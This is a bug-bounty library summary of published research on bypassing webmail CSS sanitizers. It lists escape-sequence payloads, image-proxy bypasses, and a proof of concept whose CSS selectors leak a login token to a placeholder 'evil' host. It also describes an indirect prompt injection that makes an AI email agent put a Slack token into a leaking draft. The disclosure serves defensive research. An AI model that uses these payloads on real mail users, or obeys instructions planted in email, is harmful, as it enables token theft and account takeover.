# CSS:the bomb inside your inbox

Webmail CSS sanitizers bypassed via CSSOM mutation, image-proxy escapes and label/pseudo-element gadgets, enabling token theft, UI spoofing and password stealing.

- Payout: $1,000
- Severity: high
- Program: Fastmail
- Write-up by: PortSwigger Research
- Disclosed: 2026-08-06
- Write-up quality: 9/10
- Original: https://portswigger.net/research/css-the-bomb-inside-your-inbox
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-css-the-bomb-inside-your-inbox
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:research sev:high tech:email technique:parser-differential technique:source-review vuln:account-takeover vuln:info-disclosure vuln:xss

**Target:** Webmail clients (Fastmail, Gmail, ProtonMail, Outlook, Yahoo/AOL Mail) CSS sanitizers and image proxies
**Root cause:** Sanitizers filter the browser's interpreted CSSOM output, which decodes CSS escapes and mutates safe-looking keyframe/media text into breakout syntax; image proxies and allow-listed properties are also bypassable via escaped slashes and image-set fallbacks.
**Steps:**
1. Probe allowed CSS by sending `<style>*{color:red}</style>` and inspecting rendered DOM in devtools.
2. For CSSOM mutation: submit `@keyframes foo\7d\2a { color:red }`; Chrome decodes escapes so sanitizer output becomes `@keyframes foo } * { color:red }`.
3. For media mutation: submit `@media s\63\72\65\65\6e\7d\2a\7b\63\6f\6c\6f\72\3a\72\65\64\7d print { body { color:red } }` to break out of the scoped block.
4. For image proxy bypass in Fastmail: `content:url(/\5c/user.fm/uid.fastmail.com/track)` — sanitizer sees relative URL, browser resolves host user.fm.
5. For Gmail proxy bypass: `background:image-set(var(--x,'//02.rs'))` — sanitizer strips literal but fallback fires.
6. For token exfil: nest attribute selectors `a[href^="https://medium.com/m/callback/email?token="]{&[href*="en=c2e16"]{background:url("//evil/?start=c2e16")}}` to brute-force 5-char start/end chunks, then reconstruct middle chars server-side.
7. For CSP-blocked numeric token: generate links for each digit-frequency combination, use `@font-face` unicode-range + `descent-override: 200%` and keyframe font-family swaps as a height oracle, then `inset:max(var(--zero1,100%),...)` to reveal only the matching link full-screen.
**How found:** Noticed webmail renders untrusted CSS in trusted UI; probed clipboard paste behavior across browsers (Chrome rewrites, Safari drops, Firefox allows inline style tags and background requests); fuzzed CSS with Shazzer for ignored characters and external-request properties; observed CSSOM read-back decoding escapes, producing mutation; noticed Outlook allow-listing custom data attributes and libraries appending nodes with out-of-allowlist CSS.
**Exploitation:** Attacker emails victim malicious CSS. In Fastmail, CSSOM mutation yields arbitrary page CSS; CSS hotwiring uses :before/:after pseudo-elements inheriting click handlers to force unintended UI actions (e.g. clicking 'spam' triggers a different action), enabling click theft and password stealing. In Medium, victim pastes clipboard CSS into a draft; nested attribute selectors leak 5-char token chunks via background requests, reconstructing the 12-char login token for account takeover. In Cowork, Gmail image-set bypass plus indirect prompt injection makes the AI read a Slack token from email and embed it in a draft whose background request exfiltrates it.
**Escalation:** Chained sanitizer bypass → arbitrary CSS → CSS hotwiring/UI spoofing → password theft; and image-proxy bypass → indirect prompt injection → Slack token exfiltration via AI-generated draft.
**Insight:** When a sanitizer reads back the CSSOM (rule.media.mediaText, keyframe names) rather than the source, feed it CSS escapes like `\7d\2a` that the browser decodes into `}*` — the filter validates pre-decode text while the browser applies post-decode syntax. Also test image proxies with escaped slashes (`/\5c/host`) and `image-set(var(--x,'//evil'))` fallbacks.

## Proof of concept (copied exactly from the original report)

**Outlook label-based UI control PoC**

```
<label for="RibbonModeToggle">
Click me first</label>
 <br><br>
 <label for="548">
Click here to pin this message
</label>
```

**Medium token exfiltration via nested attribute selectors**

```
a[href^="https://medium.com/m/callback/email?token="] {
 /* Get the start of the token*/
&[href*="en=00000"] {
 background:url("//evil/?start=00000");
}
&[href*="en=00001"] {
 background:url("//evil/?start=00001");
}
&[href*="en=00002"] {
 background:url("//evil/?start=00002");
}
...
&[href*="en=c2e16"] {
 background:url("//evil/?start=c2e16");
}
 /* Get the end of the token*/
&[href*="00001&o"] {
 background:url("//evil/?end=00001");
}
&[href*="00002&o"] {
 background:url("//evil/?end=00002");
}
...
&[href*="a1781&o"] {
 background:url("//evil/?end=a1781");
}
}
```

